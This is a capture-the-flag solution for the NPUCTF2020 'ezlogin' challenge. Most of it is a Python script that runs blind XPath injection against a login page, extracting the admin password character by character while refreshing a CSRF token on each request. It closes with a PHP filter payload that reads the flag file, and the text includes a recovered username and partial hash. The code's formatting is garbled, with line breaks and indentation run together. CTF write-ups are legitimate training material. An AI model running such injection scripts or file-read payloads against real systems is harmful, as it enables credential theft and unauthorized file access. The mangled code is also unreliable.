[NPUCTF2020]ezlogin-解题步骤详解

https://www.cnblogs.com/backlion/p/8554749.html

import requestsimport stringimport timeimport resession = requests.session()base_url = 'you_address'success = '??'payload = "' or substring({target},{index},1)='{char}' or '"
chars = string.ascii_letters+string.digits

def get_csrf():    res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).textreturn re.findall('<input.*value="(.*?)"./>', res)[0]

target = 'string(/*[1]/*[1]/*[2]/*[3])'# username adm1n# password cf7414b5bdb2e65ee43083f4ddbc4d9fdata = '<username>{username}</username><password>1</password><token>{token}</token>'
result = 'cf7414b5bdb2e65ee43'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}for i in range(20, 35):for j in chars:        time.sleep(0.2)        temp_payload = payload.format(target=target, index=str(i), char=j)
        token = get_csrf()
        temp_data = data.format(username=temp_payload, token=token)        res = session.post(url=base_url+'login.php',                           data=temp_data, headers=headers)# print(temp_data)# print(res.text)# print(len(res.text))if len(res.text) == 5:            result += jbreakprint(result)

?file=pHp://filter/convert.bASe64-encode/resource=/flag